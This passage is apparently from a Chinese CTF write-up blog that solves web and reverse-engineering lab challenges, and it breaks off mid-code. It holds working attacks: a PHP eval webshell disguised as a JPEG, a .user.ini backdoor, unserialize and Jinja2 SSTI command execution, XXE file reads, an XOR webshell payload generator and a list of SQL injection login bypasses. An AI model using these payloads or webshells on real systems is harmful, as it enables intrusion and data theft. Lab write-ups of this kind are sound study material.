Referer: http://panshi/entry
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1
2
flag6:bGx5X2gxOWgh
<a href="/void_rebirth">前往第七关:逆转傀儡</a>
1
2
3
4
5
玉板铭文:阴阳逆乱,归墟可填。以"覆"代"取",塑吾新生

使用PUT方法,请求体为"新生!"

请使用工具发送PUT请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests


def send_put_request_and_save():
url = "http://127.0.0.1:56205/void_rebirth"
data = "新生!"

headers = {
"Host": "127.0.0.1:56205",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Content-Type": "text/plain; charset=utf-8"
}

try:
response = requests.put(url, data=data.encode('utf-8'), headers=headers)
print(f"状态码: {response.status_code}")

# 保存响应到文件
with open("response.html", "w", encoding="utf-8") as f:
f.write(response.text)
print("响应已保存到 response.html 文件中")

# 检查是否包含成功关键词
if "成功" in response.text or "通过" in response.text:
print("✓ 恭喜!挑战成功!")
else:
print("响应内容已保存,请查看文件确认结果")

except Exception as e:
print(f"请求出错: {e}")


if __name__ == "__main__":
send_put_request_and_save()
1
fQ==
1
bW9lY3Rme0MwbjZyNDd1MTQ3 MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==
1
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

第十三章 通幽关·灵纹诡影

文件上传的题目

  • 仅受仙灵之气浸润的「云纹图」可修复玉魄核心(建议扩展名:.jpg)
  • 灵纹尺寸不得大于三寸(30000字节)
  • 灵纹必须包含噬心魔印(十六进制校验码:FFD8FF)
  • 违禁灵纹将触发九幽雷劫,魂飞魄散!

要求头部是FFD8FF,扩展名:.jpg

脚本生成一句话木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 生成flag.jpg文件,头部为FFD8FF,后面接指定PHP代码
def generate_flag_jpg(filename="flag.jpg"):
try:
# JPEG文件头部字节: FFD8FF
jpg_header = bytes.fromhex("FFD8FF")

# 要添加的PHP代码
php_code = "<?php @eval($_POST['cmd']); ?>"

# 将PHP代码转换为字节
php_bytes = php_code.encode('utf-8')

# 合并头部和PHP代码
file_content = jpg_header + php_bytes

# 写入文件
with open(filename, 'wb') as f:
f.write(file_content)

print(f"文件 {filename} 生成成功")
print(f"文件大小: {len(file_content)} 字节")

except Exception as e:
print(f"生成文件时出错: {str(e)}")


if __name__ == "__main__":
generate_flag_jpg()

然后抓包,再send,有点要注意就是FFD8FF要在HEX里改一下,然后flag.jpg改成php再上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /upload.php HTTP/1.1
Host: 127.0.0.1:56088
Content-Length: 224
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:56088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynIFBmbukzvUMjAFA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:56088/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarynIFBmbukzvUMjAFA
Content-Disposition: form-data; name="spiritPattern"; filename="flag.php"
Content-Type: image/jpeg

ÿØÿ<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundarynIFBmbukzvUMjAFA--

最后用蚁剑连接一下后门就可以得到flag了。

第十七章 星骸迷阵·神念重构

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}
  1. 应用接受用户输入的GET参数a
  2. 直接对输入进行反序列化操作,没有进行任何过滤或验证
  3. 类A的__destruct方法中使用eval()执行类属性$a的内容
  4. 当对象被销毁时,会自动调用__destruct方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class A {
public $a;
}

$obj = new A();
$obj->a = "system('ls /');"; // 使用system执行ls命令

$serialized = serialize($obj);
echo "URL编码后的序列化字符串:\n";
echo urlencode($serialized) . "\n\n";

echo "原始序列化字符串:\n";
echo serialize($obj) . "\n";
?>
1
2
3
4
5
URL编码后的序列化字符串:
O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D

原始序列化字符串:
O:1:"A":1:{s:1:"a";s:15:"system('ls /');";}

payload

1
http://127.0.0.1:58283/index.php/?a=O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
} app bin dev entrypoint.sh etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

看到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class A {
public $a;
}

$obj = new A();
$obj->a = "system('cat /flag');";

$serialized = serialize($obj);
echo "URL编码后的序列化字符串:\n";
echo urlencode($serialized) . "\n\n";

echo "原始序列化字符串:\n";
echo serialize($obj) . "\n";
?>
1
http://127.0.0.1:58283/index.php/?a=O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D

发送即可获得flag

ez_SSTI

1
你的名字是?(use ?name= in url)

payload

1
http://node4.anna.nssctf.cn:28531/ssti?name={{7*7}}
1
2
3
4
欢迎 49
你已经掌握ssti的精髓了,开始读取flag吧!!🫡
提示模板是Jinja2,参考文章https://www.cnblogs.com/hetianlab/p/17273687.html🤪
推荐工具fenjing,可上网下载,也可进群咨询😉

paylaod1

1
http://node4.anna.nssctf.cn:28531/ssti?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
1
2
3
4
欢迎 NSSCTF{6e72997c-2192-4ec3-98a1-3404123b90cd}
你已经掌握ssti的精髓了,开始读取flag吧!!🫡
提示模板是Jinja2,参考文章https://www.cnblogs.com/hetianlab/p/17273687.html🤪
推荐工具fenjing,可上网下载,也可进群咨询😉

第二十章 幽冥血海·幻语心魔

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
# ... 此处存在SSTI漏洞
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")

首先验证是否存在SSTI漏洞,使用简单的数学表达式测试:

1
http://127.0.0.1:62433/?username={{7*7}}&password=test
1
2
阵法反馈
Welcome: 49

存在SSTI漏洞

Payload

1
http://127.0.0.1:62433/?username={{().__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=any

怎么多了个没用的php文件

.user.ini 是 PHP 配置文件 php.ini 的补充文件。当通过 Web 服务器访问 PHP 页面时,PHP 会在当前执行的脚本所在目录及其上层目录中查找是否存在 .user.ini 文件。如果找到,便会将其中的配置指令合并到主 php.ini 设置中,并作为 CGI 或 FastCGI 进程的启动参数。

虽然 php.ini 限制了许多关键配置仅能在全局范围内修改,但 .user.ini 仍允许用户控制部分设置,其中之一便是 auto_prepend_file 指令。该指令用于指定一个文件,PHP 会在执行同一目录下的所有脚本之前自动包含该文件,使其成为脚本执行的预处理部分。

利用这一机制,攻击者可上传一个自定义的 .user.ini 文件,并通过设置 auto_prepend_file 指向某个包含恶意代码(如一句话木马)的文件。此后,只要访问该目录下的任何 PHP 脚本,都会自动加载该恶意文件,从而实现持久化的代码执行能力。为进一步完成攻击,攻击者通常还需上传一个包含恶意代码的预包含文件。

文件一

sh.jpg

1
<?php @eval($_POST['cmd']); ?>

文件二

.user.ini

1
auto_prepend_file = sh.jpg

用蚁剑连接即可

看看ip

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /?format=json HTTP/1.1
Host: api.ipify.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://node6.anna.nssctf.cn:23286/
Origin: http://node6.anna.nssctf.cn:23286
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0
Te: trailers
Connection: close

发现网站并没有用复杂的技术来获取IP,而是简单地让的浏览器去调用一个第三方IP查询API

如果服务器信任客户端传来的某些HTTP头信息,就可能被欺骗。最常用的头就是 X-Forwarded-For (XFF)。

1
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: node6.anna.nssctf.cn:23286
X-Forwarded-For:{{system('cat /flag')}}
Content-Length: 417

ref(APA): piter.piterの小窝.https://npiter.tech. Retrieved 2025/9/21.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?> let's get some php

hackbar send post payload

1
a[]=a&b1[]=1&b2[]=2&c1=s878926199a&c2=s155964671a

这是…Webshell?

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
$shell = $_GET['shell'];
if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
eval($shell);
} else {
echo "Hacker!";
}
}
?>

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
function generate_xor_payload($command) {
// 生成system函数的异或表示
$system_parts = [
"('('^'[')", // s
"('['^'\"')", // y
"('('^'[')", // s
"('('^'\\\\')",// t
"('%'^'@')", // e
"('-'^'@')" // m
];
$system_str = implode('.', $system_parts);

// 映射常用字符到异或表示
$char_map = [
'c' => "('#'^'`')",
'a' => "('\"'^'^')",
't' => "('('^'\\\\')",
'f' => "('('^',')",
'l' => "('@'^',')",
'g' => "('!'^'@')",
'x' => "('['^'#')",
's' => "('('^'[')",
'e' => "('%'^'@')",
'm' => "('-'^'@')",
'y' => "('['^'\"')",
];

// 生成命令的异或表示
$command_parts = [];
for ($i = 0; $i < strlen($command); $i++) {
$char = $command[$i];

// 直接使用允许的非字母数字字符(空格、点、斜杠等)
if ($char === ' ' || $char === '.' || $char === '/') {
$command_parts[] = "'" . $char . "'";
continue;
}

if (isset($char_map[$char])) {
$command_parts[] = $char_map[$char];
} else {
// 动态生成异或表示(针对不在映射表中的字符)
$found = false;
for ($a = 33; $a <= 126; $a++) {
if (ctype_alnum(chr($a))) continue;
for ($b = 33; $b <= 126; $b++) {
if (ctype_alnum(chr($b))) continue;
if (($a ^ $b) === ord($char)) {
$command_parts[] = "('" . chr($a) . "'^'" . chr($b) . "')";
$found = true;
break 2;
}
}
}
if (!$found) {
$command_parts[] = "('@'^'?')"; // fallback
}
}
}

$command_str = implode('.', $command_parts);

return '$_=(' . $system_str . ');$_(' . $command_str . ');';
}

function check_payload($payload) {
if (preg_match('/[A-Za-z0-9]/', $payload)) {
return false;
} else {
return true;
}
}

// 仅处理 ls / 命令
echo "生成 ls / 的payload:\n";
$command = "ls /";
$payload = generate_xor_payload($command);
echo "原始命令: $command\n";
echo "生成的Payload: $payload\n";
echo "URL编码: " . urlencode($payload) . "\n";
echo "验证: " . (check_payload($payload) ? "通过" : "失败") . "\n\n";

// 直接可用的URL示例(仅ls /)
echo "直接可用的URL示例:\n";
echo "执行 ls /:\n";
echo "http://target.com/vuln.php?shell=" . urlencode($payload) . "\n";
?>

payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
/**
* 终极无错版:直接手写调试代码,杜绝括号冗余
*/

// 1. 先定义正确的payload(括号、转义均无错)
$payload = '$_=(("("^"[") . ("["^"\"") . ("("^"[") . ("("^"\\\\") . ("%"^"@") . ("-"^"@"));$_((("?"^"\\\\") . ("!"^"@") . ("("^"\\\\") . " " . "/" . ("&"^"@") . ("@"^",") . ("!"^"@") . ("@"^"\'") . "." . ("("^"\\\\") . ("["^"#") . ("("^"\\\\") ));';

echo "=== 开始检验 ===" . PHP_EOL;

// 检验1:无字母数字检查
$has_alnum = preg_match('/[A-Za-z0-9]/is', $payload);
echo "1. 无字母数字检查:" . ($has_alnum ? "❌ 失败" : "✅ 成功") . PHP_EOL;

// 检验2:语法与命令验证(直接手写调试逻辑,不依赖str_replace)
echo PHP_EOL . "2. 语法与命令验证:" . PHP_EOL;
try {
// 直接构造调试代码(逐字符核对括号,绝对无冗余)
$debug_code = '
// 第一步:生成system函数
$_=(("("^"[") . ("["^"\"") . ("("^"[") . ("("^"\\\\") . ("%"^"@") . ("-"^"@"));
// 输出函数名
var_dump("函数名: ", $_);
// 第二步:生成cat /flag.txt命令
$cmd=(("?"^"\\\\") . ("!"^"@") . ("("^"\\\\") . " " . "/" . ("&"^"@") . ("@"^",") . ("!"^"@") . ("@"^"\'") . "." . ("("^"\\\\") . ("["^"#") . ("("^"\\\\") );
// 输出命令
var_dump("命令: ", $cmd);
';
echo "调试代码:" . PHP_EOL . $debug_code . PHP_EOL . PHP_EOL;

echo "执行结果:" . PHP_EOL;
eval($debug_code); // 执行调试代码

// 验证最终结果
echo PHP_EOL . "验证结论:";
if ($_ === 'system' && $cmd === 'cat /flag.txt') {
echo "✅ 完全正确!Payload可直接使用";
} else {
echo "❌ 命令或函数不匹配";
}
} catch (Throwable $e) {
echo "语法错误:" . $e->getMessage();
}

// 输出最终可用的URL(直接复制即可用)
$final_url = "http://target.com/vuln.php?shell=" . urlencode($payload);
echo PHP_EOL . PHP_EOL . "=== 最终可用Payload ===" . PHP_EOL;
echo "原始Payload:" . $payload . PHP_EOL;
echo "URL编码后:" . $final_url . PHP_EOL;
?>

第十章 天机符阵_revenge

xxe漏洞

1
2
3
4
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root><name>&xxe;</name></root>

输出

1
2
3
<阵枢>引魂玉</阵枢>
<解析>未定义</解析>
<输出>未定义</输出>

根据输出读取flag

1
2
3
4
5
6
7
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "file:///flag.txt" >
]>
<root><阵枢>引魂玉</阵枢>
<解析>&xxe</解析>
<输出>未定义</输出>
</root>
1
2
3
4
5
6
7
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt" >
]>
<root><阵枢>引魂玉</阵枢>
<解析>&xxe;</解析>
<输出>未定义</输出>
</root>

SQL之万能秘钥学习

正常的SQL语句

1
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';

用户输入 admin123456,生成的SQL语句为:

1
SELECT * FROM users WHERE username = 'admin' AND password = '123456';

当我们输入 ‘ OR ‘1’=’1

1
SELECT * FROM users WHERE username = '随便输入什么都行' AND password = '' OR '1'='1';

username = '随便输入什么都行' → False

password = '123456' → False

(False AND False) OR True —-> Ture

搬运佬的blog

参考链接https://blog.csdn.net/hxhxhxhxx/article/details/108020010

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码

1
2
3
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码

1
2
1’or’1’=’1
admin’ OR 1=1/*

wuuu,上次烽火杯的smc没写出来,这次的nepctf的smc也没写出了,所以打算总结一下smc,并且以后碰到smc都往这个blog里面放了。

简述一下原理:

在CTF逆向工程中,SMC(Self-Modifying Code,自修改代码) 是一种常见的反分析技术。其核心原理是程序在运行时动态修改自身的指令代码,使得静态分析工具(如IDA Pro)无法直接获取完整的可执行逻辑,从而增加逆向难度。

感觉smc根本就不难,动调一下基本都可以解决,但是难在有些反调试等方面感觉只单出smc的没见过。

话不多说直接上例题,我目前写过的smc有:NepCTF的realme,[网鼎杯 2020 青龙组]jocker,[SCTF2019]creakme,和烽火杯的smc

今天一天可能写不完四个,慢慢写吧,就按这个顺序来写。

NepCTF realme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-104h]
char v5; // [esp+0h] [ebp-104h]
unsigned int i; // [esp+D0h] [ebp-34h]
char v7[40]; // [esp+DCh] [ebp-28h] BYREF

__CheckForDebuggerJustMyCode(&unk_41200F);
qmemcpy(v7, "PY", 2);
v7[2] = -94;
v7[3] = -108;
v7[4] = 46;
v7[5] = -114;
v7[6] = 92;
v7[7] = -107;
v7[8] = 121;
v7[9] = 22;
v7[10] = -27;
v7[11] = 54;
v7[12] = 96;
v7[13] = -57;
v7[14] = -24;
v7[15] = 6;
v7[16] = 51;
v7[17] = 120;
v7[18] = -16;
v7[19] = -48;
v7[20] = 54;
v7[21] = -56;
v7[22] = 115;
v7[23] = 27;
v7[24] = 101;
v7[25] = 64;
v7[26] = -75;
v7[27] = -44;
v7[28] = -24;
v7[29] = -100;
v7[30] = 101;
v7[31] = -12;
v7[32] = -70;
v7[33] = 98;
v7[34] = -48;
sub_40108C("Please input the flag:\n", v4);
sub_4011C2("%s", byte_410158);
sub_401050(byte_410158, Str); //魔改RC4 KSA多了一个^0x66,最后的和秘钥流的异或变成了模取
for ( i = 0; i < 0x23; ++i )
{
if ( byte_410158[i] != v7[i] )
{
sub_40108C("Wrong flag!\n", v5);
return 0;
}
}
sub_40108C("Correct flag!\n", v5);
return 0;
}

这个rc4的魔改解出来是个错的,就不详细解释了。

进入正文,反思一下我这里没解出来主要是没找到反调试的地方,因为IDA没把他识别成函数,藏在汇编里面。

要自己去翻汇编代码,给他P重定义一下

1

2

只能硬找莫得办法,重定义后Tab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// write access to const memory has been detected, the output may be wrong!
void *sub_401500()
{
void *result; // eax

result = (void *)(NtCurrentPeb()->NtGlobalFlag & 0x70);
if ( !result )
{
*(&loc_40902A + 1) ^= 0x65u;
*((_BYTE *)&loc_40902A + 2) ^= 0xFAu;
*(&loc_407080 + 2) ^= 5u;
result = &loc_40B077;
loc_40B077 ^= 0x10u;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// write access to const memory has been detected, the output may be wrong!
void *__cdecl sub_4015C0(int a1, char a2)
{
void *result; // eax

sub_401023("%s", a2);
if ( CloseHandle((HANDLE)0x1234) || GetLastError() != 6 )
return 0;
*(&loc_407080 + 1) ^= 0xD0u;
*(&loc_40B104 + 2) ^= 0xCBu;
loc_40B078 ^= 0x61u;
result = &loc_40B079;
loc_40B079 ^= 0x5Fu;
return result;
}

很明显的反调试和smc了

smc没什么好讲的得会动调就全部解决了,这里要解决反调试

第一个反调试我们要把(!result)改成(result)。

第二个反调试我要把CloseHandle((HANDLE)0x1234) || GetLastError() != 6的CloseHandle((HANDLE)0x1234) nop掉,不然动调会报错。

还要把if的条件反过来。

1
.text:0040153F                 jz      short loc_401543  --> jnz      short loc_401543
1
2
.text:004015EE                 push    1234h           ; hObject        -->nop
.text:004015F3 call ds:__imp_CloseHandle -->nop
1
2
3
4
5
6
7
.text:00401607                 jnz     short loc_40161D                jnz-->jz
.text:00401609 mov esi, esp
.text:0040160B call ds:__imp_GetLastError
.text:00401611 cmp esi, esp
.text:00401613 call j___RTC_CheckEsp
.text:00401618 cmp eax, 6
.text:0040161B jz short loc_401635 jz--->jnz

如果不会改可以上网查一下IDA怎么patch。

改完之后我们就可以看到真实的加密逻辑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void *__cdecl sub_40B000(int a1, int a2, unsigned int a3)
{
void *result; // eax
char v4; // [esp+D3h] [ebp-129h]
char v5[264]; // [esp+DCh] [ebp-120h] BYREF
int v6; // [esp+1E4h] [ebp-18h]
int i; // [esp+1F0h] [ebp-Ch]

v6 = 0;
result = memset(v5, 0, 0x100u);
for ( i = 0; i < 256; ++i )
{
*(_BYTE *)(i + a1) = i ^ 0xCF;
v5[i] = *(_BYTE *)(a2 + i % a3);
result = (void *)(i + 1);
}
for ( i = 0; i < 256; ++i )
{
v6 = ((unsigned __int8)v5[i] + v6 + *(unsigned __int8 *)(i + a1)) % 256;
v4 = *(_BYTE *)(i + a1);
*(_BYTE *)(i + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(v6 + a1) = v4 ^ 0xAD;
result = (void *)(i + 1);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned int __cdecl sub_401A60(int a1, int a2, unsigned int a3)
{
unsigned int result; // eax
int v4; // ecx
char v5; // al
char v6; // [esp+D3h] [ebp-35h]
unsigned int i; // [esp+DCh] [ebp-2Ch]
int v8; // [esp+F4h] [ebp-14h]
int v9; // [esp+100h] [ebp-8h]

__CheckForDebuggerJustMyCode(&unk_41200F);
v9 = 0;
v8 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v9 = (v9 + 1) % 256;
v8 = (v8 + v9 * *(unsigned __int8 *)(v9 + a1)) % 256;
v6 = *(_BYTE *)(v9 + a1);
*(_BYTE *)(v9 + a1) = *(_BYTE *)(v8 + a1);
*(_BYTE *)(v8 + a1) = v6;
v4 = (*(unsigned __int8 *)(v8 + a1) + *(unsigned __int8 *)(v9 + a1)) % 256;
if ( i % 2 )
v5 = *(_BYTE *)(v4 + a1) + *(_BYTE *)(i + a2);
else
v5 = *(_BYTE *)(i + a2) - *(_BYTE *)(v4 + a1);
*(_BYTE *)(i + a2) = v5;
}
return result;
}

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# 密文(从main函数的v7数组转换为无符号字节)
ciphertext = [
0x50, 0x59, 0xA2, 0x94, 0x2E, 0x8E, 0x5C, 0x95, 0x79, 0x16,
0xE5, 0x36, 0x60, 0xC7, 0xE8, 0x06, 0x33, 0x78, 0xF0, 0xD0,
0x36, 0xC8, 0x73, 0x1B, 0x65, 0x40, 0xB5, 0xD4, 0xE8, 0x9C,
0x65, 0xF4, 0xBA, 0x62, 0xD0
]

# 密钥
key = b"Y0u_Can't_F1nd_Me!"
key_len = len(key)

# 初始化S盒(sub_40B000的第一个循环)
S = [i ^ 0xCF for i in range(256)]

# 准备v5数组(密钥扩展)
v5 = [key[i % key_len] for i in range(256)]

# sub_40B000的第二个循环:置换S盒
v6 = 0
for i in range(256):
v6 = (v5[i] + v6 + S[i]) % 256
v4 = S[i]
S[i] = S[v6]
S[v6] = v4 ^ 0xAD # 注意这里的异或操作

# 执行PRGA并解密(模拟sub_401A60的逆向过程)
v9 = 0
v8 = 0
plaintext_bytes = []

for i in range(len(ciphertext)):
# 更新v9和v8
v9 = (v9 + 1) % 256
v8 = (v8 + v9 * S[v9]) % 256 # 关键的v8计算

# 交换S[v9]和S[v8]
temp = S[v9]
S[v9] = S[v8]
S[v8] = temp

# 计算密钥流字节k
v4 = (S[v8] + S[v9]) % 256
k = S[v4]

# 根据索引奇偶性解密
if i % 2 == 1: # 奇数索引:密文 = 明文 + k → 明文 = 密文 - k
plain_byte = (ciphertext[i] - k) % 256
else: # 偶数索引:密文 = 明文 - k → 明文 = 密文 + k
plain_byte = (ciphertext[i] + k) % 256

plaintext_bytes.append(plain_byte)

# 转换为字符串并输出
plaintext = bytes(plaintext_bytes).decode('ascii')
print("解密得到的flag:", plaintext)
1
NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}

[网鼎杯 2020 青龙组]jocker

链接

[SCTF2019]creakme

简述一下这里主要是反调试+smc+AES的CBC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
int __cdecl main(int argc, const char **argv, const char **envp)
{
HMODULE ModuleHandleW; // eax
int v4; // eax
_DWORD *v5; // eax
unsigned int v6; // edx
_DWORD *v7; // ecx
unsigned int v8; // ebx
char *v9; // edi
unsigned int v10; // esi
unsigned int v11; // esi
bool v12; // cf
unsigned __int8 v13; // al
unsigned __int8 v14; // al
unsigned __int8 v15; // al
int v16; // esi
void *v17; // ecx
void *v18; // ecx
const char *v19; // edx
int v20; // eax
int v22; // [esp+0h] [ebp-80h]
void *Block[5]; // [esp+10h] [ebp-70h] BYREF
unsigned int v24; // [esp+24h] [ebp-5Ch]
void *v25[5]; // [esp+28h] [ebp-58h] BYREF
unsigned int v26; // [esp+3Ch] [ebp-44h]
char Src[48]; // [esp+40h] [ebp-40h] BYREF
int v28; // [esp+7Ch] [ebp-4h]

